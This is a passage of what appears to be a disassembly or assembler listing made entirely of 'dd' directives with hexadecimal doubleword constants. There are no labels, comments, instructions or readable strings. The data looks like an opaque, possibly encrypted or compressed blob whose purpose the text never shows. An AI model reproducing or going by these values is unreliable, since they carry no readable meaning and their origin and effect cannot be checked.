504A622Ah, 0D1824EE0h dd 28C168E0h, 3797AF7Ch, 0B3BBDA80h, 64276707h, 3155F00h dd 0C31EE0EBh, 0E67C00ECh, 4EF40B53h, 8961067Dh, 4BC3BA1h dd 0F210F980h, 0B976302Ah, 7D498106h, 52298857h, 3C0080D5h dd 85BDB93Fh, 990F06B8h, 0C5C76Bh, 40F2204Ch, 0AE451D4Bh dd 561480B2h, 1C7AFB08h, 517BB0A1h, 0BC5BB7D8h, 0A900FECAh dd 2A2D7EC7h, 6B47614h, 301F5D5Ch, 0A600204Eh, 7532C346h dd 142FF2C7h, 0D868E456h, 2827AE07h, 95434017h, 0B004680h dd 4D588294h, 5A30FDAh, 1F02EE64h, 3C681131h, 35B6E80Eh dd 0EEFD20E2h, 4F0B4460h, 573BCDEFh, 8E88D1C0h, 289AC88Ah dd 24172600h, 0E6CC961Ah, 789F3F7Fh, 3A860905h, 0B0F86752h dd 5923776Dh, 6C061400h, 84CC4C88h, 11A0F430h, 88BC2FF9h dd 6D2C804Dh, 115B4C0Ch, 2212B809h, 7ECC003Fh, 0D43C84h dd 0C6A3D3DAh, 81518B42h, 0A04C6803h, 8D9503FDh, 4794E040h dd 4B71AEh, 0ADD4A4C7h, 5C5EA908h, 4C81740Ah, 0A6438CDBh dd 4B791B0h, 1D263824h, 1EC525BAh, 0FA2D4698h, 0A800D19Fh dd 8115EC8h, 2F5D4Dh, 0D3FE1721h, 0AE7AF356h, 1294EC49h dd 10400DD5h, 971B744Fh, 91C00066h, 0BED00958h, 0AE047073h dd 71ABEC67h, 0D20D0490h, 0FBE000BDh, 2F4A3D51h, 1E006B0Eh dd 0C33326FAh, 0A79BCFh, 0F542AAD9h, 5B58BE78h, 16286F00h dd 4DEE8CE8h, 17150FC9h, 7900C4FAh, 0BE3D5981h, 89448h dd 23402EB0h, 3A9726h, 63771720h, 71A82586h, 32B1C103h dd 0BF4BADh, 0EC04AE58h, 0EF5D1002h, 43DB9714h, 0D3D001E4h dd 0DF9C4B9h, 3D5BDCh, 0B43C241Eh, 0E92E5CFCh, 0FAB99401h dd 0C2F30B64h, 0F08F2160h, 18B07438h, 60BD794Dh, 0D6A01FA1h dd 5CB06E16h, 6700A8DFh, 253197A5h, 0F109004Dh, 7EC303AAh dd 89001AA9h, 0FC6D5BC4h, 7125F24h, 0BD872B59h, 154DC1DEh dd 54F8808Bh, 0EBD91CC6h, 0F7AF0022h, 83F66E2h, 0D4009DEAh dd 0B77452DDh, 192B511h, 0C6FCF4CDh, 9FEF1CE9h, 0A5808528h dd 8211339Bh, 423500F2h, 54FCC2B3h, 4120F818h, 472014E6h dd 500A4D3h, 29117E78h, 0E40071E9h, 0B933BA4Ah, 3AAB5EDh dd 6B4DB37Ah, 3803E59Fh dd 3E436965h, 5FACC085h, 83E20773h, 598DFBh, 0A34BD441h dd 0F1F6DE0Eh, 89D7A3A2h, 0EC980067h, 41B5F935h, 6007F4Bh dd 0E4279B42h, 868D53h, 0B358BAA9h, 0E8E0CE25h, 4E578800h dd 0EBCC2EB5h, 0C2C0F1B0h, 3779014Fh, 205595ECh, 0E5588C72h dd 676A8AC6h, 0C0A21165h, 0C906967Fh, 0CEC03300h, 0F63007E2h dd 1F5F0B0Dh, 5800027Ch, 0CD423F59h, 0D2395C60h, 794E0F05h dd 0EFF506E2h, 0F98115EBh, 0A0EDAC00h, 5A5FCE9Ch, 198460AAh dd 20E04722h, 0E93212C7h, 799FB450h, 77B6341Eh, 0B1983148h dd 40AD2008h, 84708B00h, 80AB5002h, 435B140Ah, 55481439h dd 97933600h, 10E1CE59h, 9B7D3D0Fh, 1623E098h, 524E8BFh dd 0DC1F58E0h, 0DFFC4191h, 0F8C1A851h, 0F6008B4Fh, 0E7ECBEC0h dd 6AF44Bh, 1318C55Ch, 7DBFC27Eh, 3998F131h, 0B7F0D85Fh dd 9C9B0034h, 0EBA9606Ah, 0E4035504h, 0F6B50E38h, 3C01D87Ah dd 8063006Fh, 868F7D1Ah, 7C074BAAh, 0F55AD7EDh, 0E0448E8Bh dd 0BD94B3B6h, 0ACE75468h, 71C40003h, 0B78964C7h, 0E000287Dh dd 0D0946BD6h, 1DC5331Bh, 40F48D25h, 137C2F0Ah, 54905763h dd 3A37BC0Eh, 3CA5E138h, 6420BA05h, 0A083F821h, 137DC0h dd 6DF449E8h, 2C813403h, 0AD0E260Eh, 0BFD8A7AAh, 281FC20Fh dd 152C462Ah, 0E08BABC6h, 8C3BC205h, 0F3B10023h, 0BF2C2B42h dd 0D1840100h, 685D63F9h, 0BDE0A8h, 607B47C6h, 0D8A39553h dd 0E9B65407h, 0C4D3C5CFh, 75100A5h, 29E73956h, 2E000420h dd 0E21CB6DBh, 7F2FC672h, 12D10959h, 6821C43Ch, 1EBD599h dd 1C087067h, 246A6408h, 0B0B50041h, 71F307A0h, 8E1CB5B8h dd 0EC4402FEh, 0E8934C4Eh, 418C8F42h, 0A0695421h, 0B3DE002Ah dd 37BA9F6Ch, 100541A0h, 8307CFC7h, 58942FC0h, 0F1BD3A9Bh dd 0EE83061h, 0A2D82497h, 0C129C28h, 40E3083Ah, 0E5D14C17h dd 3020A050h, 531957DCh, 341EF948h, 0ED00911Bh, 90729FCCh dd 99596020h, 0E2FBDDEBh, 3D11B1DFh, 24DE3B06h, 552990BCh dd 210C84D1h, 660825h, 2260D38Fh, 0B8ECCA46h, 0E3270800h dd 0CD48EF01h, 524F1B6Bh, 53F840BFh, 0F37C1B96h, 0EE9A0B13h dd 14BCA812h, 0DE483107h, 1AD681E0h, 3D582602h, 9F15FC41h dd 808CEBh, 1A4BF42Ah, 1D2DC240h, 82072872h, 0C4A9BB70h dd 0CF00CC64h, 1B11BF49h, 0A70C14h, 5EB96FFFh, 0A29F015Fh dd 85438B3Ch, 51139074h, 4C6E84Fh, 7CCC5412h, 0A3F12A1Fh dd 20D4FDA4h, 0AF7E0645h, 4489DF99h, 17B6D60Bh, 7405D51Fh dd 0DB8C4018h, 0D3483CDEh, 0AA1C251Fh, 0D6016145h, 4AEB8830h dd 0F6BA3096h, 5093EB1h, 90341E1Fh, 0CD7891C2h, 0EB94A10Fh dd 64249EBFh, 11F4ACC0h, 0A2DAE4h, 0C49EDD75h, 6EEF06h dd 4C9C62C8h, 5C20A549h, 64856F01h, 0A9C2ECE2h, 788436h dd 10E6332Ch, 165CDBCh, 7A6B4E02h, 625E188Eh, 69304820h dd 4A009240h, 2E7FCC1h, 1CEF3468h, 9C9068B3h, 9660026h dd 9F885FBFh, 6D021A58h, 0FD754A45h, 72644954h, 987CB851h dd 3FEF458h, 0E31D259Eh, 0BE81CC7h, 0D72A734Ah, 0F613FC88h dd 0EEBE2D9h, 0A301ED8Bh, 337FC0A9h, 0F6EB1240h, 46CF6431h dd 0E01599BEh, 826A0B5h, 904D6538h, 0D8F2BF64h, 0BCBE7002h dd 613A4486h, 0FA10C5A0h, 40B19E4Dh, 5C00DF92h, 302AFCE6h dd 0B4F012B9h, 3FEC41BEh, 23EAA412h, 382521D0h, 0B5FF9F03h dd 67D91F96h, 68D98990h, 8B40214Dh, 97F00413h, 0D01D52C0h dd 0A4EBB906h, 0ED2CC17Fh, 0CB3415h, 6C4EA6F4h, 28307A3h dd 60965413h, 5E124BD9h, 713499C0h, 562F1AFh, 4FC1C4C9h dd 0B8D89069h, 0DD00B620h, 5008C87Ch, 24ABB4E7h, 58C418EDh dd 1F00578Eh, 0F0E8670Dh, 44A953h, 0EBCB8E1h, 9991EF60h dd 0B3550B01h, 5B16F67Dh, 2E14E062h, 0C6C3D486h, 988482CDh dd 830EB888h, 2FF79605h, 0B8598C21h, 4D370038h, 246C19B6h dd 5F4D7465h, 0D85514F4h, 0F3E6829Ch, 1F6CC6B7h, 3C93E71h dd 8331A581h, 349811EBh, 87045D17h, 971AE28Ch, 0FF41F4D1h dd 509FD701h, 2AB4B6D4h, 5300177Ah, 0B9EC46FEh, 901AA6Ah dd 4D66D5FBh, 0E8460412h, 832B1C00h, 0A2E44A52h, 91D500C7h dd 1D3193FAh, 5493DA92h, 33304D80h, 561EA4E1h, 2E74E864h dd 8298A17Ah, 0A769EBB8h, 3642FCA7h, 2158F16Ah, 91C280C4h dd 0A44E755h, 4A13B59Fh, 3915809Ch, 6D148DB2h, 0EA068C0Fh dd 8FBEA157h, 1C20A05Ah, 0F9692CFFh, 0F2074000h, 9600EFE4h dd 0EC78ACC4h, 0CD17DAh, 13D9C17Dh, 9F6EE77Ah, 80675229h dd 0E9C6E301h, 0B1934806h, 0D7102068h, 0EC002CB8h, 21696EBFh dd 9873FDB2h, 143812BCh, 0BC6BF0BEh, 0D462B8AAh, 9842E80Eh dd 0E84C84F2h, 0E5881510h, 5A216500h, 6335BEDh, 314ECA12h dd 148C2064h, 4732002Fh, 0C081A0E2h, 0C70286A4h, 9A6ACFCDh dd 19044A7h, 0BD600B56h, 522A0D8Fh, 0A090EBACh, 6498643Fh dd 9C0C47B0h, 1942AA58h, 3E0603EFh, 9448D72h, 9E2880E7h dd 2C02FA65h, 6A2603D2h, 184A00Ah, 901BCAh, 0CE93B75h dd 0DFA172A5h, 15017C9Bh, 41E69EFBh, 2A3052C0h, 8C9BD8h dd 0EEE14EDAh, 7738A60Ch, 396F0A00h, 5C67FDD3h, 0F06E16FFh dd 0DB7820C7h, 0FA3A524Eh, 0E9C28007h, 0A332AC38h, 8D0BB85h dd 8E008474h, 512A7558h, 9AE3002Eh, 0F2604D10h, 7901041Fh dd 57A25C9Eh, 7ECBE7EBh, 2C067E61h, 0E36460B1h, 0B100AED7h dd 0A844FE9Ch, 3E8C59h, 28FB7E03h, 216FB3E4h, 1C049500h dd 4DB5A67Dh, 59ED65F4h, 0CCDC20DCh, 3C00541Fh, 0EF5C3460h dd 0E7E9C725h, 350B542Dh, 8C043001h, 0C0C642ABh, 2E546E22h dd 40D03873h, 4CCB8089h, 0A9D4B200h, 0B7D321C5h, 0B0EB00DBh dd 0B39A1965h, 102EA7Eh, 0A44DADA8h, 0FEA890ABh, 972F07Bh dd 12385C02h, 0C88C3C85h, 0D3301A0Ch, 0F22F9993h, 0CB7738BEh dd 5F429285h, 559033E8h, 4B082654h, 28A9B000h, 2C228AC1h dd 7F291DA4h, 2D32002Ah, 0AEC0D4Fh, 0ED2B0E00h, 0FB0C766Fh dd 873500C8h, 65CCD686h, 0F400058Fh, 9D8118D2h, 773450h dd 4D74BE2Bh, 0E97AFDBCh, 1527FE00h, 0AC43A981h, 7C7E02h dd 0A3C995E3h, 0A1187732h, 0D226700h, 0D7F63721h, 0DFB600CCh dd 2DD2B153h, 8000E827h, 35BAD1DCh, 152A558h, 0A11FFD1Dh dd 0D0B7266Eh, 0DC008ED0h, 0B1079C92h, 1DC9DBh, 0BE570106h dd 0F5B85043h, 0D5032170h, 0BD982E2Ah, 10C63BFDh, 0B4F1CF80h dd 0A0659D03h, 94AE0F00h, 0C0BF2663h, 0D149311Bh, 4040F590h dd 5D0BDB24h, 0EB00EC7Ch, 153025A9h, 27B8AC4h, 5298325Ch dd 3DC00B53h, 0FC007034h, 8207963Ch, 6DA2024h, 0A4C9A08Bh dd 1D00A0BDh, 0A3CDD27h, 0B6CD22h, 0EACC91FEh, 0CB3027Ch dd 9E948E18h, 72ED7D8h, 0CD20AA45h, 37C78032h, 4C00472Fh dd 0A6DF1383h, 5FBB6Ah, 0E42D12B2h, 6C323492h, 3789F218h dd 1C9528h, 0BC6A3D94h, 63D70F6Fh, 3F269607h, 0CAC45FBAh dd 4ECF00EEh, 5DE534EDh, 22F08100h, 4B7A97D5h, 47AA185Fh dd 6E28683Eh, 5CB71C3h, 0FB3FF864h, 88BF1D8Ah, 1B8D0013h dd 35ECCA65h, 0C00B3000h, 1D0A8BEBh, 0D6AB0062h, 52B2E1D0h dd 3C1853BEh, 0BB987986h, 8A6800ACh, 7D7C1DAFh, 8B16A6B6h dd 9A022AC5h, 8014253Dh, 464D603Ch, 7BB200B5h, 1559DF37h dd 80035B9h, 6A69DBA1h, 79C9AF0h, 0EE3E415Ah, 361BB3AAh dd 92B0DA8Bh, 610A3768h dd 804AC573h, 3F641480h, 78958441h, 0E81C38E5h, 0A5AF0900h dd 3B8E9B8Ch, 5EC1CD18h, 3B23D80h, 50959FDCh, 88A8EA92h dd 6606BF1Eh, 4D590B2Fh, 937EAA9h, 1185407h, 6436AC80h dd 49091DB3h, 29B72BFh, 0A15D88D3h, 29558FACh, 38EEBE8h dd 6CA4EEB3h, 0AAC85A3Ch, 12005DAEh, 683097A1h, 0DC0BE6h dd 8578FBA9h, 801926C2h, 4DFA9805h, 0B2C0F96Bh, 0ECAA70C6h dd 0D2AC4EF8h, 6C41F403h, 0FB366004h, 0BE002FECh, 446F7451h dd 4A5E1B8h, 0A7B5E99Bh, 581CAB1Ah, 9A2FF00h, 0F3C897h dd 3F29339h, 25768CBDh, 0D6F9CD00h, 128FBCC0h, 0C0C97440h dd 39BE4920h, 2A00B9D4h, 0CBB867CFh, 7923387h, 31CCF5C8h dd 3A6AB1A2h, 1A59F4F3h, 0DED0FB03h, 0EEF4683h, 0F8648060h dd 6B151D00h, 0C476A39Eh, 0C6975A03h, 0B156CF0Bh, 7180BBB7h dd 951CF7D9h, 1B74A4D6h, 4313AD01h, 745BB3AEh, 3742F18Ah dd 0A69B00A4h, 0FD789581h, 1E14DF1Eh, 655C9080h, 63297003h dd 59EF607Eh, 8527B6E2h, 0A72099DDh, 7DB7205h, 0F45E19B7h dd 0C33BB215h, 0EE300260h, 0FF59670Ah, 1C1CA03Ah, 0AD03A440h dd 0C3F68C5h, 96BED78h, 0DA00F290h, 9C14AA02h, 817106h dd 0D6AD6E16h, 0C9E278Ch, 6FF8B200h, 0F75E6050h, 0CEE6059Dh dd 35667Eh, 0CD2CF2B8h, 0E1C67318h, 59016Bh, 8A7DC06Fh dd 0C71BAF50h, 86F04B05h, 0A0631ED3h, 0F239006Ch, 5061B16Dh dd 5C0346AAh, 0D37B7624h, 99C6E8EBh, 3E05B889h, 0EC804F8Eh dd 87DCC896h, 0F8F25E18h, 3F59790Ah, 848894D4h, 0AB9B8446h dd 1BC3BB96h, 7F5FD99Ah, 0DD6B8451h, 437EC180h, 7A641690h dd 0BE7BCF00h, 95D74FB2h, 0EB1800A2h, 1279B6B9h, 5F0086BDh dd 0D83BBED2h, 0C1A911Fh, 0A8DBFFBAh, 82246390h, 0CA804C95h dd 1BAC0744h, 7A4A00A3h, 0AAC6EC74h, 0DD1BFD3Fh, 297C87h dd 756A48A6h, 0F333F076h, 1C007C93h, 0C61B5A40h, 81A30EDDh dd 9C54325Eh, 0E7507E0Dh, 5336C5C1h, 0E00AA328h, 0AC164D68h dd 985FA4BEh, 5C50804Fh, 0C4D0FAE6h, 0EC8A1560h, 0B5281DA9h dd 2F4DEE80h, 1888F51Bh, 882BDE65h, 4C485D0Dh, 72CF8760h dd 71B11810h, 0EDFA007Eh, 30921949h, 0BC03A8DDh, 6B79E52Fh dd 5581000Ch, 40105D0h, 0F90007B5h, 37D4916Dh, 3E51903h dd 0EF18EB13h, 0D101E66Bh, 52C5238Dh, 0F04C8659h, 0AC370CEAh dd 8FC8E876h, 268B6F03h, 0F829AFCCh, 24218092h, 0CE4A166h dd 0DAE1F952h, 0AEE64D0Ch, 0F21B64A6h, 256CA885h, 0CAEB0266h dd 2CF4DB16h, 24766091h, 0F60840E0h, 80755CEDh, 2BE1C19Fh dd 6E008182h, 7AB0655Bh, 0A5C602Ch, 95CADD42h, 60344A5Ch dd 499E8A08h, 99230539h, 70D02E53h, 3D7F5980h, 1FA47364h dd 6C843Dh, 0C020A2AFh, 0CAB32A6h, 0F4016171h, 0F34076E0h dd 40B948AFh, 0F7D840DFh, 0A2CD79A7h, 6F381B13h, 32032430h dd 0CED9010Eh, 0A97F0AEAh, 1465FE2Dh, 73485D14h, 0ED18AB00h dd 0A0A67ABAh, 5A3300A2h, 3E67D9A7h, 0B00976DBh, 106C3CACh dd 177EF8h, 2489260Ch, 411E3BEDh, 9566C900h, 65E6BFE4h dd 44904807h, 0C8EDCE09h, 7359D8A1h, 18A410BBh, 0B8D448E3h dd 590B6B18h, 150A6236h, 78C3A2CAh, 0E3D46340h, 190892E6h dd 49CD5D59h, 19A6C3CEh, 1F4AFA00h, 0A3E82EBBh, 76678894h dd 85B4B648h, 3099FF33h, 331994D5h, 78740108h, 0BC96DD29h dd 4CB1EB20h, 0E3228C21h, 0D99F5C30h, 1FB40C88h, 3D7AF7h dd 0F3284715h, 8B3E4AA7h, 88B585F6h, 6823D725h, 41C4601Bh dd 22BF0C35h, 7C37DD01h, 51E8771Ah, 0D47A4C47h, 0FCF13540h dd 59BF0009h, 7451C38h, 0C1007C5Fh, 0B7F23415h, 356AE65h dd 42039811h, 67C93DABh, 4C2272h, 0AA396F63h, 51BE158Dh dd 0E459D827h, 32A51401h, 44C4AECh, 0AEE3B7CBh, 3048C95Fh dd 7B011B54h, 0CD24E9EDh, 0C98283FEh, 0E75E8A76h, 3BF490AAh dd 0DA009A44h, 0FA2834Eh, 0A3F3D9h, 55485108h, 7C2511C8h dd 6BEE8B19h, 68D4F2E9h, 5887001Bh, 94973727h, 0E8932DE1h dd 48983D04h, 0A4C41C89h, 7EDCA86Dh, 78C050DCh, 74A500ADh dd 91EB1CABh, 7EC1271Eh, 0D63264C8h, 0A161F842h, 0B54342B4h dd 3743F02Ah, 6889A891h, 0AF9C18DCh, 0E8620C8Eh, 5C7152A2h dd 0C4B95A60h, 26451B67h, 0A2CAFCh, 498D037Ah, 30B06025h dd 0B70F9B10h, 20A3DE13h, 0EED8CCD4h, 0A4554000h, 0EB8CE0E2h dd 0C1EC69BEh, 44468980h, 0A6000FF6h, 68F01BE7h, 0E26C7E78h dd 5BE9C0E5h, 926F8BDEh, 0FB2A1100h, 0C7068C93h, 0B289015Ch dd 803BBCEBh, 0F513F0A9h, 3C30FA50h, 0D42249h, 0E211FE09h dd 2CBDF49h, 727EF469h, 0A490BB7Bh, 0B10A9413h, 0B0D75B34h dd 20300C8Eh, 989509FDh, 0DFE50EC4h, 0BFAAF524h, 6FEF0F94h dd 69780052h, 67FFFCAEh, 2EBC2148h, 3940DC3Dh, 320AD3h dd 25B58660h, 200E8870h, 2C240C00h, 681D97C0h, 36424859h dd 0F918DE39h, 0B81281A4h, 0CC449B00h, 64E46EF3h, 0E8409862h dd 7ED3121Fh, 8310245Ah, 40A4E220h, 0E71BCF68h, 3BA01DA3h dd 2301FD48h, 933F6544h, 0DE9058EDh, 0BE81A9CFh, 0F80860C7h dd 1880A3C6h, 21C06A1Bh, 0CCF452A9h, 0B8C62A00h, 9FDF3DA0h dd 4030F5E2h, 2FF22296h, 0E0FFFB2Dh, 0EA0C8BEh, 4B7513AEh dd 0F883EE29h, 282C6E06h, 0DC04CFD8h, 34932C83h, 9347E8DFh dd 19720098h, 0A366D5E6h, 0B30248ADh, 2C651A07h, 0F262C020h dd 22B89AF3h, 1D04CD3Fh, 1A9538EBh, 94BC0091h, 0EF6894B3h dd 0A46A51ABh, 0A58FF068h, 0AA28AEF7h, 0F361E48Fh, 2996833Ch dd 20D0205Ch, 93BA7F6h, 6490009Ah, 3D194FCDh, 0BD2D81CCh dd 14E326D0h, 6E51EA47h, 0B02482ADh, 0D6743E5Ah, 58DED11Fh dd 4135F14Eh, 0A3F8A776h, 0A013B00h, 0AE66A039h, 67D500EEh dd 6E60C406h, 49C22571h, 0A38E7450h, 39883B4h, 65F6C3A9h dd 0FDA0BC36h, 9F00200Bh, 81D012C8h, 0B9763A1Dh, 0D7F80078h dd 0DF528680h, 4E583B14h, 517A8C4Ch, 82EF0233h, 145BEBF7h dd 1D931460h, 2A980C04h, 44C987F3h, 78B576CCh, 0CAA40CD2h dd 944165B2h, 210083E2h, 51D86EEBh, 943D7ED2h, 9DE68768h dd 142A38Eh, 4194A08Fh, 0FD39778Dh, 325C8051h, 0BB8598Ah dd 8430CADCh, 0C0554598h, 33080EDDh, 0ED96CF0Eh, 70640FEh dd 58515Ch, 0A23AE7F3h, 0D3564576h, 5D5271C0h, 1178B7Fh dd 0DF601684h, 34E86B83h, 0E500962Ch, 6C67C1EFh, 0B9A1B2h dd 66EAFFB5h, 5DB3BF69h, 7E629B15h, 486507ECh, 0A48316DFh dd 0D7E6A038h, 0B140001Ch, 113302ADh, 6C968297h, 0A0C5C080h dd 754FE659h, 12EE009Fh, 64D00A6Ch, 489188E8h, 69657E09h dd 0A4306840h, 0B8215DB7h, 0F000E022h, 8B91B925h, 60FA1513h dd 0EF3E199Ah, 443A6583h, 1D3580DFh, 60891AD7h, 8BF54806h dd 7C5E7000h, 8B03BF0h, 403C6307h, 3000C7E6h, 0D4504h dd 3BA6E244h, 0BAD95378h, 946C262Ch, 40843042h, 78AB52F7h dd 27E90001h, 0AEB1E2EEh, 64008BD0h, 9CF7991Ah, 0E07FDFB4h dd 25440127h, 0D2842037h, 0EE3DE821h, 10C2FC00h, 7EE7B708h dd 61DA6250h, 3C448263h, 0D1A3991Ch, 0F5457180h, 132391Bh dd 0AD196940h, 808E3BF3h, 0C4E9F429h, 0FC613B4h, 7F2FA5A4h dd 0DDEC2641h, 6B1FF820h, 54A63502h, 0C823B55Ah, 297F1D00h dd 0B4BF48h, 970151Ah, 9E00F007h, 9CA68EB5h, 7C2B77h, 14DCA30Eh dd 0A2471A70h dd 8EB81700h, 40A05D29h, 537204EDh, 90237690h, 1FCA0EACh dd 28497900h, 2BE08EC6h, 0E2C90C65h, 5AB0DB98h, 1C14D324h dd 0A2817100h, 0C73021h, 3FE6FBE0h, 1C2EB8BEh, 50BD803h dd 802D043Ah, 1D399F29h, 440966C2h, 90CE7815h, 414DAD44h dd 2AD5FD00h, 314549AFh, 0EAEB0129h, 94D0A261h, 597870E5h dd 0C090734Ch, 4628E0DAh, 9C66F8EEh, 5BF95030h, 0B6F37600h dd 0FC05A95h, 0E45C0558h, 32C3FF7Eh, 0C2289D8h, 0A49E80E3h dd 7931225h, 51066428h, 5F48913Eh, 0B43C40F2h, 67187E3Ah dd 0E94937D9h, 68C30939h, 64A1B53Dh, 8BD4EACEh, 104712E1h dd 1F79BBA0h, 80BA05B4h, 3D1E7076h, 2F000DDCh, 0F286DDABh dd 14980981h, 0F00B3703h, 0CCCFC24h, 0EBA96783h, 163C5903h dd 0E01DA795h, 7D6DB94h, 30047A0Ah, 0CC1A15h, 98C6099Eh dd 5B010240h, 379A0B7h, 19869D61h, 0A1D50BD4h, 6725908h dd 20841290h, 0BF1629F8h, 0E37E31E8h, 89497401h, 7E0FCDDCh dd 14EF6C40h, 25CB7DF5h, 54802EEAh, 0C0299A10h, 29C07FF2h dd 0E721EEB4h, 1941FF2h, 0FFFC7D64h, 43357080h, 0D33C15CCh dd 616518A1h, 214825C7h, 83BC204Ch, 2D809254h, 49B04800h dd 0BCE19953h, 724915Ch, 0A03FA1D2h, 37448834h, 0DDE22C1Dh dd 1A3DB89h, 0F7751220h, 0B135D7ECh, 0A0F48010h, 93274EEDh dd 0D6FC23B8h, 2B943104h, 60C1980Dh, 40A6D5DFh, 0BB0100B3h dd 0C745BF1Ch, 0FF3C8300h, 3BB1BD63h, 199FFFC4h, 7538Fh dd 132D5D35h, 1492DC88h, 798EB418h, 98CE1679h, 40764ABCh dd 0A85DF848h, 29185F35h, 0E94ED451h, 75A404D0h, 84063B83h dd 66F8C108h, 4E7822B5h, 992D6C40h, 8B30A2h, 52093E19h dd 4483B565h, 397F906h, 62684B9Ah, 1CD78FCh, 1B79F0C4h dd 7096EAF0h, 0CF010A5h, 94120060h, 551F62B2h, 2A027E66h dd 9FD40280h, 5E8C68CAh, 2CB50021h, 0C9DFCCFFh, 0E94AFC0Eh dd 0E501B420h, 0F74D0EC3h, 81C04292h, 174E95D0h, 680A4003h dd 0A0064BD8h, 48CBBD77h, 0A400401Eh, 0E0B55B4Fh, 0ED72B683h dd 2C2A4Ch, 0E65C5199h, 5A247EF9h, 4744238h, 9848E13Ch dd 0AF1BA4B6h, 0C8D1D15Ch, 6C3EA6Ah, 757F50CCh, 90019D2h dd 0C7EEAFF0h, 3DE756E8h, 3C4C9577h, 0B9DB300h, 0F501105Ch dd 80B46B4Ch, 90B83B2Dh, 11E90269h, 0E4855F7Eh, 162CA880h dd 0E058E592h, 98E09ED4h, 4EDEFAD0h, 68104387h, 4A985648h dd 3B00E75Eh, 2CAD13D5h, 0F0E3AC3Eh, 1118675Dh, 4F9CA304h dd 7F1C2801h, 0EDD475A9h, 1CB449ACh, 0D17389F0h, 7220C469h dd 7C660014h, 7A23C5Eh, 9C3D4C5Bh, 10ECF380h, 61007152h dd 77A43B81h, 7E4DFDEEh, 0E0A23B36h, 9AB8148Ah, 0FE98090Ch dd 40687490h, 1EF8CF38h, 694C79E6h, 12C59ECh, 6E2350E4h dd 0DC701159h, 374EE98Eh, 0C640D020h, 0EB600AAh, 76812913h dd 800A05D0h, 14A7A431h, 65E55B80h, 8B19B7h, 7FCD1E24h dd 3B13AEB2h, 0F4FF9704h, 4CF47A15h, 4E3204BCh, 822A3A02h dd 0B044A018h, 287F1B14h, 9213A9Ch, 107B5D15h, 9F2C08h dd 0EE564689h, 63C8A454h, 0C738EF6Eh, 0E1445B27h, 1C9F8F80h dd 3F990FB6h, 0BEC0309Eh, 9818CDF3h, 5100E475h, 6A83A8B8h dd 0C243C6h, 0FA89B20Ah, 14D250F6h, 0CAC4851Ch, 21B59B84h dd 48AD34C0h, 0B38A0093h, 0DD70D4AFh, 94915D1Ch, 0FD258500h dd 3BF2418h, 42F4D228h, 0C9907450h, 9771EE01h, 44251A01h dd 0EF0636E8h, 6C10E8A7h, 950098E7h, 3E9DC751h, 0F139CDh dd 0C07CDE47h, 67684F28h, 5A3B2502h, 808F2459h, 0DBDA1CD0h dd 5D0B2E82h, 0B52C4000h, 0C707AECEh, 79C5BFA8h, 0EF5C14E0h dd 0F34A00CAh, 83F0B5B3h, 460FB4CBh, 63A80AE5h, 0C8B6AE16h dd 0B6399723h, 4CA440B8h, 9F000DC8h, 0DDCCB248h, 3EF796E2h dd 788B6183h, 480F5B34h, 0AE188876h, 1721CE42h, 7087C24h dd 505F9190h, 0CC00279Ah, 0DDA8F182h, 94B25EF3h, 2A6903D4h dd 4173E7A6h, 7C8C7800h, 0C4BBCC64h, 8405048h, 18947AA3h dd 598D65DEh, 6B124867h, 0C328FDFh, 0BC088076h, 4FDE0A75h dd 1B0C4051h, 14CC5D82h, 0C8F8914Ch, 13B664ADh, 0F01C6843h dd 0CEF80012h, 0F332622Eh, 21FE65E9h, 0EA16C096h, 0B21A08Eh dd 188C4D0Ah, 64218317h, 0D0F39848h, 3DF70C0Eh, 0B1808A69h dd 895BAE7Eh, 0D162629Eh, 680AE360h, 0B984596Ch, 24D03A50h dd 21F00E4h, 9504D580h, 1848E2D8h, 76A6020Eh, 52EB7329h dd 3A312D4h, 829805F1h, 0B5D4C19Fh, 0C6D910BBh, 8063E7A9h dd 35E40E07h, 8420544Ch, 0C8080913h, 8A432882h, 0A9034C44h dd 5A451D0Dh, 34103B5h, 28E9EE27h, 43528077h, 0F01D12C8h dd 0EEBB100Bh, 32D607C8h, 6001D4DFh, 0A3DDA9CEh, 28B1DE90h dd 85AAD900h, 14DF4E6h, 0CBEC7413h, 72A13C17h, 42031474h dd 58662434h, 5D1B923Fh, 0F96CA4h, 764B5FAAh, 0DE56DAC8h dd 0BA7F400h, 0BD1CAF99h, 0B22D0049h, 0CFADD9Eh, 6907A3F5h dd 0CA5E7A40h, 19455961h, 0BC041C63h, 3CF8B7Eh, 0C5EB1B9Fh dd 4089308Ah, 0E99F6CE8h, 77A91200h, 68C61030h, 4B59014Ch dd 0B291F5Ah, 1C29A4CFh, 1001F829h, 0DF82BA05h, 1BCB4E8h dd 487672B8h, 0C4A07083h, 0B92FCFFFh, 0C10C2B96h, 4032695Ch dd 7700D222h, 4ADA6814h, 0CCF3864h, 79B70EE8h, 7456030h dd 2FC0507Ch, 8A7BB087h, 127A0600h, 6573943Fh, 80820203h dd 630E6676h, 9544E870h, 0EA4C005Ch, 0C3B421E9h, 662828FFh dd 40061491h, 0D993DC98h, 0CD1C0061h, 8BAD9C32h, 0F300BD12h dd 0E3B8973Eh, 0B95A379h, 37AFE2ACh, 8810F08Bh, 0CD2C9F12h dd 7660B414h, 502760D1h, 0A959FCC4h, 38D8099Ch, 48DC0170h dd 0A9FC9D12h, 9F56C053h, 781370BEh, 3C256C13h, 0B900ECF2h dd 1F12DE97h, 0B2007D87h, 0A89643E8h, 3A0A7C17h, 551761FBh dd 2458C05Eh, 0AC90B539h, 9040B776h, 5C0134CEh, 0E4248089h dd 30B670BFh, 0B34D6080h, 1E679D08h, 4155F72Bh, 0C1EEC58h dd 6E84C0A1h, 18442BFDh, 6349DBFFh, 62204880h, 3E18D086h dd 7278CDBFh, 848F40EBh, 0BE8C6354h, 9DAF2B1Eh, 0FFDDE100h dd 0B8DC5939h, 0B300060h, 0DBABDE3Fh, 8A0D10Fh, 36175383h dd 0DC205198h, 1FCE868h, 5452CC1Dh, 47EA605Ah, 98801834h dd 887E45C3h, 0D4920229h, 3E2D6B39h, 6C721361h, 83A00950h dd 9430202Bh, 3D69F85Ah, 4796E99Dh, 3000BE30h, 0ADC56202h dd 66D43AE7h, 4043E11Eh, 37EA38F2h, 0E62667DDh, 7958845Ch dd 0B5063892h, 3DBA1D00h, 2F29562Eh, 12D3D238h, 2C00F520h dd 0B8EFCE3Bh, 86E3011Bh, 5E7FA3DCh, 754736Dh, 13384D64h dd 0A4F4D9C2h, 5CE43C80h, 0A2CF003Bh, 0E14CA9C7h, 870129C6h dd 74AD522Bh, 76F450C5h, 0FBC0407Bh, 9924FD02h, 541A802Fh dd 4240400Ch, 